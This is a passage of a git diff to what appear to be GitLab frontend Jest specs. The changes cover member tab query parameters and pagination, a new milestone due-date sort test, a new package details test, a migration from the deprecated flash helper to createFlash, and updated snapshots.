const createComponent = (state = {}, options = {}) => {
store = new Vuex.Store({
modules: {
- [MEMBER_TYPES.user]: {
+ [MEMBER_TYPES.group]: {
namespaced: true,
state: {
showError: true,
@@ -34,7 +35,8 @@ describe('MembersApp', () => {
wrapper = shallowMount(MembersApp, {
localVue,
propsData: {
- namespace: MEMBER_TYPES.user,
+ namespace: MEMBER_TYPES.group,
+ tabQueryParamValue: TAB_QUERY_PARAM_VALUES.group,
},
store,
...options,
@@ -57,7 +59,7 @@ describe('MembersApp', () => {
it('renders and scrolls to error alert', async () => {
createComponent({ showError: false, errorMessage: '' });
- store.commit(`${MEMBER_TYPES.user}/${RECEIVE_MEMBER_ROLE_ERROR}`, {
+ store.commit(`${MEMBER_TYPES.group}/${RECEIVE_MEMBER_ROLE_ERROR}`, {
error: new Error('Network Error'),
});
@@ -77,7 +79,7 @@ describe('MembersApp', () => {
it('does not render and scroll to error alert', async () => {
createComponent();
- store.commit(`${MEMBER_TYPES.user}/${HIDE_ERROR}`);
+ store.commit(`${MEMBER_TYPES.group}/${HIDE_ERROR}`);
await nextTick();
@@ -103,4 +105,13 @@ describe('MembersApp', () => {
expect(findFilterSortContainer().exists()).toBe(true);
});
+
+ it('renders `MembersTable` component and passes `tabQueryParamValue` prop', () => {
+ createComponent();
+
+ const membersTableComponent = wrapper.findComponent(MembersTable);
+
+ expect(membersTableComponent.exists()).toBe(true);
+ expect(membersTableComponent.props('tabQueryParamValue')).toBe(TAB_QUERY_PARAM_VALUES.group);
+ });
});
diff --git a/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
index 5e04e20801a..a3b91cb20bb 100644
--- a/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
+++ b/spec/frontend/members/components/filter_sort/members_filtered_search_bar_spec.js
@@ -216,5 +216,17 @@ describe('MembersFilteredSearchBar', () => {
'https://localhost/?two_factor=enabled&search=foobar&sort=name_asc',
);
});
+
+ it('adds active tab query param', () => {
+ window.location.search = '?tab=invited';
+
+ createComponent();
+
+ findFilteredSearchBar().vm.$emit('onFilter', [
+ { type: 'filtered-search-term', value: { data: 'foobar' } },
+ ]);
+
+ expect(window.location.href).toBe('https://localhost/?search=foobar&tab=invited');
+ });
});
});
diff --git a/spec/frontend/members/components/members_tabs_spec.js b/spec/frontend/members/components/members_tabs_spec.js
index 6f1a6d0c223..33d8eebf7eb 100644
--- a/spec/frontend/members/components/members_tabs_spec.js
+++ b/spec/frontend/members/components/members_tabs_spec.js
@@ -1,9 +1,14 @@
+import { GlTabs } from '@gitlab/ui';
import Vue, { nextTick } from 'vue';
import Vuex from 'vuex';
import { mountExtended } from 'helpers/vue_test_utils_helper';
import MembersApp from '~/members/components/app.vue';
import MembersTabs from '~/members/components/members_tabs.vue';
-import { MEMBER_TYPES } from '~/members/constants';
+import {
+ MEMBER_TYPES,
+ TAB_QUERY_PARAM_VALUES,
+ ACTIVE_TAB_QUERY_PARAM_NAME,
+} from '~/members/constants';
import { pagination } from '../mock_data';
describe('MembersTabs', () => {
@@ -93,6 +98,18 @@ describe('MembersTabs', () => {
wrapper.destroy();
});
+ it('renders `GlTabs` with `syncActiveTabWithQueryParams` and `queryParamName` props set', async () => {
+ await createComponent();
+
+ const glTabsComponent = wrapper.findComponent(GlTabs);
+
+ expect(glTabsComponent.exists()).toBe(true);
+ expect(glTabsComponent.props()).toMatchObject({
+ syncActiveTabWithQueryParams: true,
+ queryParamName: ACTIVE_TAB_QUERY_PARAM_NAME,
+ });
+ });
+
describe('when tabs have a count', () => {
it('renders tabs with count', async () => {
await createComponent();
@@ -106,7 +123,7 @@ describe('MembersTabs', () => {
expect(findActiveTab().text()).toContain('Members');
});
- it('renders `MembersApp` and passes `namespace` prop', async () => {
+ it('renders `MembersApp` and passes `namespace` and `tabQueryParamValue` props', async () => {
await createComponent();
const membersApps = wrapper.findAllComponents(MembersApp).wrappers;
@@ -115,6 +132,10 @@ describe('MembersTabs', () => {
expect(membersApps[1].props('namespace')).toBe(MEMBER_TYPES.group);
expect(membersApps[2].props('namespace')).toBe(MEMBER_TYPES.invite);
expect(membersApps[3].props('namespace')).toBe(MEMBER_TYPES.accessRequest);
+
+ expect(membersApps[1].props('tabQueryParamValue')).toBe(TAB_QUERY_PARAM_VALUES.group);
+ expect(membersApps[2].props('tabQueryParamValue')).toBe(TAB_QUERY_PARAM_VALUES.invite);
+ expect(membersApps[3].props('tabQueryParamValue')).toBe(TAB_QUERY_PARAM_VALUES.accessRequest);
});
});
@@ -127,56 +148,16 @@ describe('MembersTabs', () => {
expect(findTabByText('Invited')).toBeUndefined();
expect(findTabByText('Access requests')).toBeUndefined();
});
- });
- describe('when url param matches `filteredSearchBar.searchParam`', () => {
- beforeEach(() => {
- window.location.search = '?search_groups=foo+bar';
- });
-
- const expectGroupsTabActive = () => {
- expect(findActiveTab().text()).toContain('Groups');
- };
-
- describe('when tab has a count', () => {
- it('sets tab that corresponds to search param as active tab', async () => {
- await createComponent();
-
- expectGroupsTabActive();
+ describe('when url param matches `filteredSearchBar.searchParam`', () => {
+ beforeEach(() => {
+ window.location.search = '?search_groups=foo+bar';
});
- });
-
- describe('when tab does not have a count', () => {
- it('sets tab that corresponds to search param as active tab', async () => {
- await createComponent({ totalItems: 0 });
-
- expectGroupsTabActive();
- });
- });
- });
-
- describe('when url param matches `pagination.paramName`', () => {
- beforeEach(() => {
- window.location.search = '?invited_page=2';
- });
-
- const expectInvitedTabActive = () => {
- expect(findActiveTab().text()).toContain('Invited');
- };
-
- describe('when tab has a count', () => {
- it('sets tab that corresponds to pagination param as active tab', async () => {
- await createComponent();
-
- expectInvitedTabActive();
- });
- });
- describe('when tab does not have a count', () => {
- it('sets tab that corresponds to pagination param as active tab', async () => {
+ it('shows tab that corresponds to search param', async () => {
await createComponent({ totalItems: 0 });
- expectInvitedTabActive();
+ expect(findTabByText('Groups')).not.toBeUndefined();
});
});
});
diff --git a/spec/frontend/members/components/table/members_table_spec.js b/spec/frontend/members/components/table/members_table_spec.js
index 5308d7651a3..3a17d78bd17 100644
--- a/spec/frontend/members/components/table/members_table_spec.js
+++ b/spec/frontend/members/components/table/members_table_spec.js
@@ -15,7 +15,7 @@ import MemberAvatar from '~/members/components/table/member_avatar.vue';
import MemberSource from '~/members/components/table/member_source.vue';
import MembersTable from '~/members/components/table/members_table.vue';
import RoleDropdown from '~/members/components/table/role_dropdown.vue';
-import { MEMBER_TYPES } from '~/members/constants';
+import { MEMBER_TYPES, TAB_QUERY_PARAM_VALUES } from '~/members/constants';
import * as initUserPopovers from '~/user_popovers';
import {
member as memberMock,
@@ -34,7 +34,7 @@ describe('MembersTable', () => {
const createStore = (state = {}) => {
return new Vuex.Store({
modules: {
- [MEMBER_TYPES.user]: {
+ [MEMBER_TYPES.invite]: {
namespaced: true,
state: {
members: [],
@@ -54,11 +54,14 @@ describe('MembersTable', () => {
const createComponent = (state, provide = {}) => {
wrapper = mount(MembersTable, {
localVue,
+ propsData: {
+ tabQueryParamValue: TAB_QUERY_PARAM_VALUES.invite,
+ },
store: createStore(state),
provide: {
sourceId: 1,
currentUserId: 1,
- namespace: MEMBER_TYPES.user,
+ namespace: MEMBER_TYPES.invite,
...provide,
},
stubs: [
@@ -74,7 +77,7 @@ describe('MembersTable', () => {
});
};
- const url = 'https://localhost/foo-bar/-/project_members';
+ const url = 'https://localhost/foo-bar/-/project_members?tab=invited';
const getByText = (text, options) =>
createWrapper(getByTextHelper(wrapper.element, text, options));
@@ -92,7 +95,7 @@ describe('MembersTable', () => {
const expectCorrectLinkToPage2 = () => {
expect(findPagination().findByText('2', { selector: 'a' }).attributes('href')).toBe(
- `${url}?page=2`,
+ `${url}&invited_members_page=2`,
);
};
@@ -271,7 +274,7 @@ describe('MembersTable', () => {
currentPage: 1,
perPage: 5,
totalItems: 10,
- paramName: 'page',
+ paramName: 'invited_members_page',
},
});
@@ -279,14 +282,14 @@ describe('MembersTable', () => {
});
it('removes any url params defined as `null` in the `params` attribute', () => {
- window.location = new URL(`${url}?search_groups=foo`);
+ window.location = new URL(`${url}&search_groups=foo`);
createComponent({
pagination: {
currentPage: 1,
perPage: 5,
totalItems: 10,
- paramName: 'page',
+ paramName: 'invited_members_page',
params: { search_groups: null },
},
});
diff --git a/spec/frontend/milestones/milestone_utils_spec.js b/spec/frontend/milestones/milestone_utils_spec.js
new file mode 100644
index 00000000000..f863f31e5a9
--- /dev/null
+++ b/spec/frontend/milestones/milestone_utils_spec.js
@@ -0,0 +1,47 @@
+import { useFakeDate } from 'helpers/fake_date';
+import { sortMilestonesByDueDate } from '~/milestones/milestone_utils';
+
+describe('sortMilestonesByDueDate', () => {
+ useFakeDate(2021, 6, 22);
+ const mockMilestones = [
+ {
+ id: 2,
+ },
+ {
+ id: 1,
+ dueDate: '2021-01-01',
+ },
+ {
+ id: 4,
+ dueDate: '2021-02-01',
+ expired: true,
+ },
+ {
+ id: 3,
+ dueDate: `2021-08-01`,
+ },
+ ];
+
+ describe('sorts milestones', () => {
+ it('expired milestones are kept at the bottom of the list', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ expect(sortedMilestones[2].id).toBe(mockMilestones[1].id); // milestone with id `1` is expired
+ expect(sortedMilestones[3].id).toBe(mockMilestones[2].id); // milestone with id `4` is expired
+ });
+
+ it('milestones with closest due date are kept at the top of the list', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ // milestone with id `3` & 2021-08-01 is closest to current date i.e. 2021-07-22
+ expect(sortedMilestones[0].id).toBe(mockMilestones[3].id);
+ });
+
+ it('milestones with no due date are kept between milestones with closest due date and expired milestones', () => {
+ const sortedMilestones = [...mockMilestones].sort(sortMilestonesByDueDate);
+
+ // milestone with id `2` has no due date
+ expect(sortedMilestones[1].id).toBe(mockMilestones[0].id);
+ });
+ });
+});
diff --git a/spec/frontend/monitoring/components/charts/time_series_spec.js b/spec/frontend/monitoring/components/charts/time_series_spec.js
index 754ddd96c9b..ea6e4f4a5ed 100644
--- a/spec/frontend/monitoring/components/charts/time_series_spec.js
+++ b/spec/frontend/monitoring/components/charts/time_series_spec.js
@@ -51,6 +51,8 @@ describe('Time series component', () => {
},
stubs: {
GlPopover: true,
+ GlLineChart,
+ GlAreaChart,
},
attachTo: document.body,
});
@@ -202,7 +204,7 @@ describe('Time series component', () => {
describe('when series is of line type', () => {
beforeEach(() => {
- createWrapper();
+ createWrapper({}, mount);
wrapper.vm.formatTooltipText(mockLineSeriesData());
return wrapper.vm.$nextTick();
});
diff --git a/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js b/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
index 6e98ca28071..dbb9fd5f603 100644
--- a/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
+++ b/spec/frontend/monitoring/components/dashboard_actions_menu_spec.js
@@ -1,4 +1,4 @@
-import { GlDropdownItem } from '@gitlab/ui';
+import { GlDropdownItem, GlModal } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import CustomMetricsFormFields from '~/custom_metrics/components/custom_metrics_form_fields.vue';
import { redirectTo } from '~/lib/utils/url_utility';
@@ -43,6 +43,9 @@ describe('Actions menu', () => {
wrapper = shallowMount(ActionsMenu, {
propsData: { ...dashboardActionsMenuProps, ...props },
store,
+ stubs: {
+ GlModal,
+ },
...options,
});
};
@@ -82,7 +85,7 @@ describe('Actions menu', () => {
it('modal for custom metrics form is rendered', () => {
expect(findAddMetricModal().exists()).toBe(true);
- expect(findAddMetricModal().attributes().modalid).toBe('addMetric');
+ expect(findAddMetricModal().props('modalId')).toBe('addMetric');
});
it('add metric modal submit button exists', () => {
diff --git a/spec/frontend/nav/components/top_nav_menu_item_spec.js b/spec/frontend/nav/components/top_nav_menu_item_spec.js
index fd2b4d3b056..71154e18915 100644
--- a/spec/frontend/nav/components/top_nav_menu_item_spec.js
+++ b/spec/frontend/nav/components/top_nav_menu_item_spec.js
@@ -73,7 +73,7 @@ describe('~/nav/components/top_nav_menu_item.vue', () => {
expect(findButtonIcons()).toEqual([
{
name: TEST_MENU_ITEM.icon,
- classes: ['gl-mr-2!'],
+ classes: ['gl-mr-3!'],
},
{
name: 'chevron-right',
diff --git a/spec/frontend/notes/components/comment_form_spec.js b/spec/frontend/notes/components/comment_form_spec.js
index 537622b7918..bb79b43205b 100644
--- a/spec/frontend/notes/components/comment_form_spec.js
+++ b/spec/frontend/notes/components/comment_form_spec.js
@@ -7,7 +7,7 @@ import Vuex from 'vuex';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
import batchComments from '~/batch_comments/stores/modules/batch_comments';
import { refreshUserMergeRequestCounts } from '~/commons/nav/user_merge_requests';
-import { deprecatedCreateFlash as flash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import CommentForm from '~/notes/components/comment_form.vue';
import * as constants from '~/notes/constants';
@@ -464,9 +464,9 @@ describe('issue_comment_form component', () => {
await wrapper.vm.$nextTick;
await wrapper.vm.$nextTick;
- expect(flash).toHaveBeenCalledWith(
- `Something went wrong while closing the ${type}. Please try again later.`,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `Something went wrong while closing the ${type}. Please try again later.`,
+ });
});
});
@@ -500,9 +500,9 @@ describe('issue_comment_form component', () => {
await wrapper.vm.$nextTick;
await wrapper.vm.$nextTick;
- expect(flash).toHaveBeenCalledWith(
- `Something went wrong while reopening the ${type}. Please try again later.`,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: `Something went wrong while reopening the ${type}. Please try again later.`,
+ });
});
});
diff --git a/spec/frontend/notes/components/discussion_notes_spec.js b/spec/frontend/notes/components/discussion_notes_spec.js
index cd24b9afbdf..59ac75f00e6 100644
--- a/spec/frontend/notes/components/discussion_notes_spec.js
+++ b/spec/frontend/notes/components/discussion_notes_spec.js
@@ -1,5 +1,5 @@
import { getByRole } from '@testing-library/dom';
-import { shallowMount } from '@vue/test-utils';
+import { shallowMount, mount } from '@vue/test-utils';
import '~/behaviors/markdown/render_gfm';
import DiscussionNotes from '~/notes/components/discussion_notes.vue';
import NoteableNote from '~/notes/components/noteable_note.vue';
@@ -23,8 +23,8 @@ describe('DiscussionNotes', () => {
let wrapper;
const getList = () => getByRole(wrapper.element, 'list');
- const createComponent = (props) => {
- wrapper = shallowMount(DiscussionNotes, {
+ const createComponent = (props, mountingMethod = shallowMount) => {
+ wrapper = mountingMethod(DiscussionNotes, {
store,
propsData: {
discussion: discussionMock,
@@ -33,7 +33,11 @@ describe('DiscussionNotes', () => {
...props,
},
scopedSlots: {
- footer: '<p slot-scope="{ showReplies }">showReplies:{{showReplies}}</p>',
+ footer: `
+ <template #default="{ showReplies }">
+ <p>showReplies:{{ showReplies }}</p>,
+ </template>
+ `,
},
slots: {
'avatar-badge': '<span class="avatar-badge-slot-content" />',
@@ -112,7 +116,7 @@ describe('DiscussionNotes', () => {
});
it('passes down avatar-badge slot content', () => {
- createComponent();
+ createComponent({}, mount);
expect(wrapper.find('.avatar-badge-slot-content').exists()).toBe(true);
});
});
diff --git a/spec/frontend/notes/components/noteable_note_spec.js b/spec/frontend/notes/components/noteable_note_spec.js
index 7444c441e06..f217dfd2e48 100644
--- a/spec/frontend/notes/components/noteable_note_spec.js
+++ b/spec/frontend/notes/components/noteable_note_spec.js
@@ -1,5 +1,4 @@
import { mount } from '@vue/test-utils';
-import { escape } from 'lodash';
import Vue from 'vue';
import Vuex from 'vuex';
@@ -263,7 +262,9 @@ describe('issue_note', () => {
await waitForPromises();
expect(alertSpy).not.toHaveBeenCalled();
- expect(wrapper.vm.note.note_html).toBe(escape(noteBody));
+ expect(wrapper.vm.note.note_html).toBe(
+ '<p><img src="data:image/gif;base64,R0lGODlhAQABAIAAAAAAAP///yH5BAEAAAAALAAAAAABAAEAAAIBRAA7"></p>\n',
+ );
});
});
@@ -291,7 +292,7 @@ describe('issue_note', () => {
await wrapper.vm.$nextTick();
let noteBodyProps = noteBody.props();
- expect(noteBodyProps.note.note_html).toBe(updatedText);
+ expect(noteBodyProps.note.note_html).toBe(`<p>${updatedText}</p>\n`);
noteBody.vm.$emit('cancelForm');
await wrapper.vm.$nextTick();
diff --git a/spec/frontend/notes/stores/actions_spec.js b/spec/frontend/notes/stores/actions_spec.js
index 7eef2017dfb..2ff65d3f47e 100644
--- a/spec/frontend/notes/stores/actions_spec.js
+++ b/spec/frontend/notes/stores/actions_spec.js
@@ -2,7 +2,7 @@ import AxiosMockAdapter from 'axios-mock-adapter';
import testAction from 'helpers/vuex_action_helper';
import { TEST_HOST } from 'spec/test_constants';
import Api from '~/api';
-import { deprecatedCreateFlash as Flash } from '~/flash';
+import createFlash from '~/flash';
import { EVENT_ISSUABLE_VUE_APP_CHANGE } from '~/issuable/constants';
import axios from '~/lib/utils/axios_utils';
import * as notesConstants from '~/notes/constants';
@@ -33,10 +33,7 @@ jest.mock('~/flash', () => {
};
});
- return {
- createFlash: flash,
- deprecatedCreateFlash: flash,
- };
+ return flash;
});
describe('Actions Notes Store', () => {
@@ -348,13 +345,13 @@ describe('Actions Notes Store', () => {
await startPolling();
expect(axiosMock.history.get).toHaveLength(1);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
await advanceXMoreIntervals(1);
expect(axiosMock.history.get).toHaveLength(2);
- expect(Flash).toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalledTimes(1);
});
it('resets the failure counter on success', async () => {
@@ -375,14 +372,14 @@ describe('Actions Notes Store', () => {
await advanceXMoreIntervals(1); // Failure #2
// That was the first failure AFTER a success, so we should NOT see the error displayed
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
// Now we'll allow another failure
await advanceXMoreIntervals(1); // Failure #3
// Since this is the second failure in a row, the error should happen
- expect(Flash).toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalledTimes(1);
});
it('hides the error display if it exists on success', async () => {
@@ -393,8 +390,8 @@ describe('Actions Notes Store', () => {
await advanceXMoreIntervals(2);
// After two errors, the error should be displayed
- expect(Flash).toHaveBeenCalled();
- expect(Flash).toHaveBeenCalledTimes(1);
+ expect(createFlash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalledTimes(1);
axiosMock.reset();
successMock();
@@ -906,7 +903,7 @@ describe('Actions Notes Store', () => {
.then(() => done.fail('Expected error to be thrown!'))
.catch((err) => {
expect(err).toBe(error);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
})
.then(done)
.catch(done.fail);
@@ -928,11 +925,10 @@ describe('Actions Notes Store', () => {
)
.then((resp) => {
expect(resp.hasFlash).toBe(true);
- expect(Flash).toHaveBeenCalledWith(
- 'Your comment could not be submitted because something went wrong',
- 'alert',
- flashContainer,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Your comment could not be submitted because something went wrong',
+ parent: flashContainer,
+ });
})
.catch(() => done.fail('Expected success response!'))
.then(done)
@@ -954,7 +950,7 @@ describe('Actions Notes Store', () => {
)
.then((data) => {
expect(data).toBe(res);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
})
.then(done)
.catch(done.fail);
@@ -997,7 +993,7 @@ describe('Actions Notes Store', () => {
['resolveDiscussion', { discussionId }],
['restartPolling'],
]);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
@@ -1012,7 +1008,10 @@ describe('Actions Notes Store', () => {
[mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
- expect(Flash).toHaveBeenCalledWith(TEST_ERROR_MESSAGE, 'alert', flashContainer);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: TEST_ERROR_MESSAGE,
+ parent: flashContainer,
+ });
});
});
@@ -1027,11 +1026,10 @@ describe('Actions Notes Store', () => {
[mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
- expect(Flash).toHaveBeenCalledWith(
- 'Something went wrong while applying the suggestion. Please try again.',
- 'alert',
- flashContainer,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message: 'Something went wrong while applying the suggestion. Please try again.',
+ parent: flashContainer,
+ });
});
});
@@ -1039,7 +1037,7 @@ describe('Actions Notes Store', () => {
dispatch.mockReturnValue(Promise.reject());
testSubmitSuggestion(done, () => {
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
});
@@ -1083,7 +1081,7 @@ describe('Actions Notes Store', () => {
['restartPolling'],
]);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
@@ -1101,7 +1099,10 @@ describe('Actions Notes Store', () => {
]);
expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
- expect(Flash).toHaveBeenCalledWith(TEST_ERROR_MESSAGE, 'alert', flashContainer);
+ expect(createFlash).toHaveBeenCalledWith({
+ message: TEST_ERROR_MESSAGE,
+ parent: flashContainer,
+ });
});
});
@@ -1119,11 +1120,11 @@ describe('Actions Notes Store', () => {
]);
expect(dispatch.mock.calls).toEqual([['stopPolling'], ['restartPolling']]);
- expect(Flash).toHaveBeenCalledWith(
- 'Something went wrong while applying the batch of suggestions. Please try again.',
- 'alert',
- flashContainer,
- );
+ expect(createFlash).toHaveBeenCalledWith({
+ message:
+ 'Something went wrong while applying the batch of suggestions. Please try again.',
+ parent: flashContainer,
+ });
});
});
@@ -1139,7 +1140,7 @@ describe('Actions Notes Store', () => {
[mutationTypes.SET_RESOLVING_DISCUSSION, false],
]);
- expect(Flash).not.toHaveBeenCalled();
+ expect(createFlash).not.toHaveBeenCalled();
});
});
});
@@ -1283,7 +1284,7 @@ describe('Actions Notes Store', () => {
)
.then(() => done.fail('Expected error to be thrown'))
.catch(() => {
- expect(Flash).toHaveBeenCalled();
+ expect(createFlash).toHaveBeenCalled();
done();
});
});
diff --git a/spec/frontend/notifications/components/custom_notifications_modal_spec.js b/spec/frontend/notifications/components/custom_notifications_modal_spec.js
index 5e4114d91f5..0782ec7cdd5 100644
--- a/spec/frontend/notifications/components/custom_notifications_modal_spec.js
+++ b/spec/frontend/notifications/components/custom_notifications_modal_spec.js
@@ -177,11 +177,8 @@ describe('CustomNotificationsModal', () => {
await waitForPromises();
- expect(
- mockToastShow,
- ).toHaveBeenCalledWith(
+ expect(mockToastShow).toHaveBeenCalledWith(
'An error occurred while loading the notification settings. Please try again.',
- { type: 'error' },
);
});
});
@@ -255,11 +252,8 @@ describe('CustomNotificationsModal', () => {
await waitForPromises();
- expect(
- mockToastShow,
- ).toHaveBeenCalledWith(
+ expect(mockToastShow).toHaveBeenCalledWith(
'An error occurred while updating the notification settings. Please try again.',
- { type: 'error' },
);
});
});
diff --git a/spec/frontend/notifications/components/notifications_dropdown_spec.js b/spec/frontend/notifications/components/notifications_dropdown_spec.js
index e90bd68d067..e12251ce6d9 100644
--- a/spec/frontend/notifications/components/notifications_dropdown_spec.js
+++ b/spec/frontend/notifications/components/notifications_dropdown_spec.js
@@ -242,11 +242,8 @@ describe('NotificationsDropdown', () => {
await clickDropdownItemAt(1);
expect(wrapper.vm.selectedNotificationLevel).toBe('global');
- expect(
- mockToastShow,
- ).toHaveBeenCalledWith(
+ expect(mockToastShow).toHaveBeenCalledWith(
'An error occurred while updating the notification settings. Please try again.',
- { type: 'error' },
);
});
diff --git a/spec/frontend/operation_settings/components/metrics_settings_spec.js b/spec/frontend/operation_settings/components/metrics_settings_spec.js
index 5eecfd395e2..258c6eae692 100644
--- a/spec/frontend/operation_settings/components/metrics_settings_spec.js
+++ b/spec/frontend/operation_settings/components/metrics_settings_spec.js
@@ -205,7 +205,6 @@ describe('operation settings external dashboard component', () => {
.then(() =>
expect(createFlash).toHaveBeenCalledWith({
message: `There was an error saving your changes. ${message}`,
- type: 'alert',
}),
);
});
diff --git a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
index 07aba62fef6..dbebdeeb452 100644
--- a/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
+++ b/spec/frontend/packages/list/components/__snapshots__/packages_list_app_spec.js.snap
@@ -21,6 +21,7 @@ exports[`packages_list_app renders 1`] = `
<img
alt=""
class="gl-max-w-full"
+ role="img"
src="helpSvg"
/>
</div>
diff --git a/spec/frontend/packages/shared/utils_spec.js b/spec/frontend/packages/shared/utils_spec.js
index 463e4a4febb..a1076b729f8 100644
--- a/spec/frontend/packages/shared/utils_spec.js
+++ b/spec/frontend/packages/shared/utils_spec.js
@@ -40,6 +40,8 @@ describe('Packages shared utils', () => {
${'pypi'} | ${'PyPI'}
${'rubygems'} | ${'RubyGems'}
${'composer'} | ${'Composer'}
+ ${'debian'} | ${'Debian'}
+ ${'helm'} | ${'Helm'}
${'foo'} | ${null}
`(`package type`, ({ packageType, expectedResult }) => {
it(`${packageType} should show as ${expectedResult}`, () => {
diff --git a/spec/frontend/packages_and_registries/package_registry/components/details/app_spec.js b/spec/frontend/packages_and_registries/package_registry/components/details/app_spec.js
new file mode 100644
index 00000000000..97444ec108f
--- /dev/null
+++ b/spec/frontend/packages_and_registries/package_registry/components/details/app_spec.js
@@ -0,0 +1,35 @@
+import { GlEmptyState } from '@gitlab/ui';
+import { shallowMount } from '@vue/test-utils';
+
+import PackagesApp from '~/packages_and_registries/package_registry/components/details/app.vue';
+
+describe('PackagesApp', () => {
+ let wrapper;
+
+ function createComponent() {
+ wrapper = shallowMount(PackagesApp, {
+ provide: {
+ titleComponent: 'titleComponent',
+ projectName: 'projectName',
+ canDelete: 'canDelete',
+ svgPath: 'svgPath',
+ npmPath: 'npmPath',
+ npmHelpPath: 'npmHelpPath',
+ projectListUrl: 'projectListUrl',
+ groupListUrl: 'groupListUrl',
+ },
+ });
+ }
+
+ const emptyState = () => wrapper.findComponent(GlEmptyState);
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ it('renders an empty state component', () => {
+ createComponent();
+
+ expect(emptyState().exists()).toBe(true);
+ });
+});
diff --git a/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js b/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
index 14ee3f3e3b8..f2877a1f2a5 100644
--- a/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
+++ b/spec/frontend/packages_and_registries/settings/group/components/group_settings_app_spec.js
@@ -137,7 +137,7 @@ describe('Group Settings App', () => {
href: PACKAGES_DOCS_PATH,
target: '_blank',
});
- expect(findLink().text()).toBe('More Information');
+ expect(findLink().text()).toBe('Learn more.');
});
it('calls the graphql API with the proper variables', () => {
@@ -244,9 +244,7 @@ describe('Group Settings App', () => {
await waitForPromises();
- expect(show).toHaveBeenCalledWith(SUCCESS_UPDATING_SETTINGS, {
- type: 'success',
- });
+ expect(show).toHaveBeenCalledWith(SUCCESS_UPDATING_SETTINGS);
});
it('has an optimistic response', async () => {
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/__snapshots__/utils_spec.js.snap b/spec/frontend/packages_and_registries/settings/project/settings/__snapshots__/utils_spec.js.snap
index 7062773b46b..cf554717127 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/__snapshots__/utils_spec.js.snap
+++ b/spec/frontend/packages_and_registries/settings/project/settings/__snapshots__/utils_spec.js.snap
@@ -33,6 +33,10 @@ Array [
exports[`Utils formOptionsGenerator returns an object containing keepN 1`] = `
Array [
Object {
+ "key": null,
+ "label": "",
+ },
+ Object {
"default": false,
"key": "ONE_TAG",
"label": "1 tag per image name",
@@ -74,6 +78,10 @@ Array [
exports[`Utils formOptionsGenerator returns an object containing olderThan 1`] = `
Array [
Object {
+ "key": null,
+ "label": "",
+ },
+ Object {
"default": false,
"key": "SEVEN_DAYS",
"label": "7 days",
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/components/__snapshots__/settings_form_spec.js.snap b/spec/frontend/packages_and_registries/settings/project/settings/components/__snapshots__/settings_form_spec.js.snap
index 7a52b4a5d0f..1009db46401 100644
--- a/spec/frontend/packages_and_registries/settings/project/settings/components/__snapshots__/settings_form_spec.js.snap
+++ b/spec/frontend/packages_and_registries/settings/project/settings/components/__snapshots__/settings_form_spec.js.snap
@@ -22,7 +22,7 @@ exports[`Settings Form Enable matches snapshot 1`] = `
exports[`Settings Form Keep N matches snapshot 1`] = `
<expiration-dropdown-stub
data-testid="keep-n-dropdown"
- formoptions="[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]"
+ formoptions="[object Object],[object Object],[object Object],[object Object],[object Object],[object Object],[object Object]"
label="Keep the most recent:"
name="keep-n"
value="TEN_TAGS"
@@ -44,7 +44,7 @@ exports[`Settings Form Keep Regex matches snapshot 1`] = `
exports[`Settings Form OlderThan matches snapshot 1`] = `
<expiration-dropdown-stub
data-testid="older-than-dropdown"
- formoptions="[object Object],[object Object],[object Object],[object Object]"
+ formoptions="[object Object],[object Object],[object Object],[object Object],[object Object]"
label="Remove tags older than:"
name="older-than"
value="FOURTEEN_DAYS"
diff --git a/spec/frontend/packages_and_registries/settings/project/settings/components/settings_form_spec.js b/spec/frontend/packages_and_registries/settings/project/settings/components/settings_form_spec.js
